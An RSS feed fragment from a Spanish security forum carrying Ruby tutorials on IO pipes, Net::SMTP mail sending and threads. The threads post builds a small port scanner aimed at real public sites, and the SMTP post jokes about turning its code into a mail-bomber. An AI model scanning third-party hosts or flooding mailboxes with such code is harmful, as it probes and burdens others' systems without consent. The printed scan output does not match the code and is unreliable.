=&gt; &quot;a.sh   Biblioteca   firefox-3.0.3.tar.bz2   hilos.rb   mariposa.jpg   md5.pl   Metamorfosis.odt   Metamorfosis.rb   nautilus-computer.desktop   Pantallazo.png   pcap   PreMetamorfosis.odp   procesos.txt   Programaci\303\263n   rana.jpg   Respuestas.txt   Ruby   ruby-pcap-0.6.tar.gz   rubyscript2exe-0.5.3.rb   sniffer.rb   Soluciones.rb   so.rb   Universidad   vN0tdoser.rb   Windows_uE_SP3_2008.1_Bj-Guanaco   &quot;</pre><br />Esto muestra la simplicidad con la que podemos manejar procesos en Ruby a través de tuberías. Primero se abre la tubería, se escribe una orden y se lee la respuesta.<br /><br />Más documentación sobre la clase IO:<br /><br /><a href="http://www.ruby-doc.org/core/classes/IO.html#M002267" target="_blank" rel="nofollow" >Clase IO</a>]]></description>
<dc:creator>SH4V</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 11 Mar 2009 21:59:03 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,1090,1090#msg-1090</guid>
<title>Librería Net/smtp [Ruby] (no replies)</title><link>https://foro.undersecurity.net/read.php?52,1090,1090#msg-1090</link><description><![CDATA[Hoy vamos a ver la librería Net/SMTP. Lo primero de todo, un poco de teoría sacada de la Wikipedia:<br /><br /><i>Simple Mail Transfer Protocol (SMTP), o protocolo simple de transferencia de correo. Protocolo de red basado en texto utilizado para el intercambio de mensajes de correo electrónico entre computadoras u otros dispositivos (PDA's, teléfonos móviles, etc.). Está definido en el RFC 2821 y es un estándar oficial de Internet.<br />SMTP se basa en el modelo cliente-servidor, donde un cliente envía un mensaje a uno o varios receptores. La comunicación entre el cliente y el servidor consiste enteramente en líneas de texto compuestas por caracteres ASCII. El tamaño máximo permitido para estas líneas es de 1000 caracteres.</i><br /><br />Ahora ya vamos a la práctica. Gracias a esta librería podemos enviar mails por medio de un servidor SMTP a un nivel más alto que con sockets. Lo primero que tenemos que hacer es requerir la librería, y crear el objeto mediante el cual se va a realizar la conexión con nuestro servidor SMTP:<br /><pre class="bbcode">
require 'net/smtp' #Requerimos la librería SMTP
smtp=Net::SMTP.start('servidorsmtp', puerto, 'dominio', 'usuario@loquesea.com', 'contraseña') # Creamos el objeto y establecemos la conexión con el servidor SMTP</pre><br />Una vez tenemos creada la conexión, tenemos que preparar nuestro mensaje. Para ello creamos el mensaje:<br /><br /><pre class="bbcode">mail=&quot;From: Perico &lt;pericode@lospalotes.com&gt;\n To: destinatario &lt;destinatario@mailhot.com&gt;\n Subject: Asunto del mensaje\n Texto del mensaje\n&quot; # Creamos nuestro mensaje y lo declaramos en la variable &quot;mail&quot;</pre><br />Ahora sólo queda mandar el mail. Para ello, una vez declarada la variable &quot;mail&quot; que es donde reside el mensaje, tenemos que enviarlo:<br /><pre class="bbcode">
smtp.send_message(mail, 'remitente@servidor.com', 'destinatario@servidor.com')#aplicamos a la variable smtp el método &quot;send_message&quot;.</pre><br />Una vez mandado quedaría cerrar la sesión. Para cerrar la sesión podemos hacerlo de dos formas:<br /><br />1.- Si lo hemos hecho por variables (como lo he explicado yo hasta ahora):<br /><br /><pre class="bbcode">smtp.finish</pre><br />2.- Si hemos utilizado un bloque, cerraría sesión automáticamente:<br /><br /><pre class="bbcode">Net::SMTP.start('servidorsmtp', puerto, 'dominio', 'usuario@loquesea.com', 'contraseña') do |smtp|
smtp.send_message(mail, 'remitente@servidor.com', 'destinatario@servidor.com')
end</pre><br />Ahora veamos dos ejemplos de envío de mails:<br /><br />Ejemplo 1 (sin bloque)<br /><pre class="bbcode">require 'net/smtp'
mail=&quot;From: Perico &lt;pericode@lospalotes.com&gt;\n To: destinatario &lt;destinatario@mailhot.com&gt;\n Subject: Asunto del mensaje\n Texto del mensaje\n&quot;
smtp=Net::SMTP.start('servidorsmtp', puerto, 'dominio', 'usuario@loquesea.com', 'contraseña')
smtp.send_message(mail, 'remitente@servidor.com', 'destinatario@servidor.com')
smtp.finish</pre><br />Ejemplo 2(con bloque)<br /><pre class="bbcode">mail=&quot;From: Perico &lt;pericode@lospalotes.com&gt;\n To: destinatario &lt;destinatario@mailhot.com&gt;\n Subject: Asunto del mensaje\n Texto del mensaje\n
Net::SMTP.start('servidorsmtp', puerto, 'dominio', 'usuario@loquesea.com', 'contraseña') do |smtp|
smtp.send_message(mail, 'remitente@servidor.com', 'destinatario@servidor.com')
end</pre><br />Si crearamos un iterador, tendríamos nuestro propio mail-bomber:P<br /><br />Saludos!]]></description>
<dc:creator>SH4V</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 11 Mar 2009 21:57:08 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,1087,1087#msg-1087</guid>
<title>Hilos en Ruby (1 reply)</title><link>https://foro.undersecurity.net/read.php?52,1087,1087#msg-1087</link><description><![CDATA[<center class="bbcode"><span style="font-size:25pt"><b>HILOS</b><u></u></span></center><br /><br />Ruby permite poder realizar varios procesos al mismo tiempo. Esto lo hace mediante los <b>hilos</b>. Los hilos son una manera rápida y eficiente para aumentar el paralelismo en nuestros programas. Vamos pues a crear hilos en Ruby. Comenzaré con un sencillo ejemplo y luego pasaré a uno más útil.<br /><br /><u><b>CREAR HILOS:</b></u><br /><br />Los hilos se crean con la llamada a Thread.new:<br /><br /><pre class="bbcode">array=['hola', 'esto', 'es', 'un', 'ejemplo'] # Creamos un array de 5 elementos.

hilo=Array.new # Creamos un array para los hilos. Será de 5 elementos y cada uno de ellos sera un hilo(Esto lo veremos a continuación ;))


for element in array #creamos un bloque
	hilo&lt;&lt;Thread.new(element){|x| # Creamos un hilo para cada elemento y lo introducimos en el array hilo.
	puts x # Hacemos que imprima por pantalla x
	}
end

hilo.each{|z| z.join} # Con este ultimo comando, nos aseguramos de que los hilos no mueran antes de que finalize el programa principal (luego se explicará esto más detenidamente).</pre><br />Esto daría como resultado:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>hola<br />esto<br />es<br />un<br />ejemplo</div></blockquote><br />Esto lo podemos hacer por medio del &quot;each&quot;. Por ejemplo, el code anterior con &quot;each&quot; sería así:<br /><br /><pre class="bbcode">array=['hola', 'esto', 'es', 'un', 'ejemplo']

hilo= Array.new

array.each{|element|
	hilo&lt;&lt;Thread.new(element){|x|
	puts x
	}
}

hilo.each{|ele| ele.join}</pre><br />Ahora vamos a pasar a hacer una aplicación algo más compleja. Vamos a suponer un scanner de puertos que escanee de forma simultánea 3 dominios en un puerto determinado. Sería así:<br /><br /><pre class="bbcode">require 'socket'

paginas=['www.infiernohacker.com', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 páginas.

hilo=Array.new

for pag in paginas
	hilo&lt;&lt;Thread.new(pag){|x|
	begin
	TCPSocket.new(x, 21)
	rescue 
	puts &quot;21 cerrado en #{x}&quot;
	else
	puts &quot;21 abierto en #{x}&quot;
	end
	sleep 1 #Damos un pequeño espacio de tiempo para que se termine el proceso.
	begin
	TCPSocket.new(x, 80)
	rescue
	puts &quot;80 cerrado en #{x}&quot;
	else
	puts &quot;80 abierto en #{x}&quot;
	end
	begin
	sleep 1
	TCPSocket.new(x, 81)
	rescue
	puts &quot;81 cerrado en #{x}&quot;
	else
	puts &quot;81 abierto en #{x}&quot;
	end
	}
end

hilo.each{|ele| ele.join}</pre><br />Esto dará como resultado:<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>21 abierto en www.infiernohacker.com abierto.<br />21 abierto en www.google.com abierto.<br />21 abierto en www.youtube.com abierto.<br />80 abierto en www.infiernohacker.com abierto.<br />80 abierto en www.google.com abierto.<br />80 abierto en www.youtube.com abierto.<br />81 abierto en www.infiernohacker.com abierto.<br />81 abierto en www.google.com abierto.<br />81 abierto en www.youtube.com abierto.</div></blockquote><br /><u><b>MANIPULAR HILOS:</b></u><br /><br />Existen diversos métodos de la clase Thread que sirven para controlar los hilos:<br /><br /><pre class="bbcode">Thread.current # Nos devuelve el hilo que esta siendo ejecutado &quot;&lt;Thread:0x401bdf4c run&gt;&quot;
Thread.list # Nos devuelve un array con los objetos para cada hilo diciendonos si estan corriendo o parados.
   #&lt;Thread:0x401b3e84 sleep&gt;
   #&lt;Thread:0x401b3f38 run&gt;
   #&lt;Thread:0x401b3fb0 sleep&gt;
   #&lt;Thread:0x401bdf4c run&gt;
hilo.status # Nos devuelve el estatus del hilo. &quot;run&quot;, &quot;sleep&quot;, &quot;aborting&quot;
Thread.kill(hilo) # Acaba con el proceso.
Thread.start{|x| bloque} # Igual que Thread.new.
Thread.stop # Deja durmiendo al hilo pero no lo mata.
hilo.join # Cuando un programa en Ruby termina, los hilos en ejecución se matan independientemente de su estado. 
#Con join lo que hacemos es esperar a que termine el hilo antes de matarlos. Digamos que con join te aseguras de que se realicen todos los procesos.</pre><br /><u><b>VARIABLES:</b></u><br /><br />En los hilos, las variables locales al hilo, son solo accesibles en el propio hilo, ya que no se comparten fuera del mismo. Es decir, las variables que se establecen en el propio hilo no tendrán validez fuera. Si queremos utilizar variables del hilo fuera del mismo, es decir, si queremos que estas variables tengan validez fuera del hilo, tenemos que tratar el objeto del hilo como si fuera un hash, guardándolo mediante []= y llamandolo mediante []. Veámoslo:<br /><br /><pre class="bbcode">count = 0
arr = []
10.times do |i|
  arr<i> = Thread.new {
    sleep(rand(0)/10.0)
    Thread.current[&quot;mycount&quot;] = count # Asignamos la variable count a la llave del hash &quot;mycount&quot;, que se guarda en hilo.
    count += 1
  }
end
arr.each {|t| t.join; print t[&quot;mycount&quot;], &quot;, &quot; }
puts &quot;count = #{count}&quot;
</i></pre><br />Esto produciría:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>8, 0, 3, 7 2, 1, 6, 5, 4, 9, count = 10</div></blockquote>
<b><br /><br />Vamos a poner otro ejemplo para que lo comprendáis mejor. Supongamos que tenemos un scanner de puertos y queremos imprimir la variable &lt;a&gt; fuera del hilo:<br /><br /><pre class="bbcode">require 'socket'

paginas=['www.infiernohacker.com', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 páginas.

hilo=Array.new

for pag in paginas
	hilo&lt;&lt;Thread.new(pag){|x|
	begin
	TCPSocket.new(x, 80)
	rescue 
	a= &quot;80 cerrado en #{x}&quot;
	else
	a= &quot;80 abierto en #{x}&quot;
	end
	}
end

hilo.each{|ele| ele.join}
puts a</pre><br />Esto daría como resultado un mensaje de error advirtiendonos de que la variable &lt;a&gt; no ha sido definida:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>hilos.rb:20: undefined local variable or method `a' for main:Object (NameError)</div></blockquote><br />Para solventar este problema haríamos lo siguiente:<br /><br /><pre class="bbcode">require 'socket'

paginas=['infiernohacker.com', 'www.google.com', 'www.youtube.com'] #Creamos el array con las 3 páginas.

hilo=Array.new

for pag in paginas
	hilo&lt;&lt;Thread.new(pag){|x|
	begin
	TCPSocket.new(x, 80)
	rescue 
	a= &quot;80 cerrado en #{x}&quot;
	else
	a= &quot;80 abierto en #{x}&quot;
	end
	Thread.current[&quot;#{x}&quot;]=a # Asignamos la variable &lt;a&gt; a la llave del hash x (que será la página web que se esté escaneando en ese momento), y la guardamos en hilo.
	}
end

hilo.each{|ele| ele.join; puts ele[&quot;www.infiernohacker.com&quot;]}</pre><br />Esto nos daría un resultado positivo:<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>80 abierto en www.infiernohacker.com</div></blockquote><br />Creo que con estos dos ejemplos han quedado claras las variables.<br /><br /><b><u>Documentación:</u></b><br /><br /><a href="http://www.ruby-doc.org/core/classes/Thread.html#M000472" target="_blank" rel="nofollow" >Documentación oficial.</a><br /><a href="http://pickaxe.ruby.org.es/tut_threads.html" target="_blank" rel="nofollow" >Más documentación.</a></b>]]></description>
<dc:creator>SH4V</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 11 Mar 2009 22:06:58 -0400</pubDate></item>
</channel>
</rss>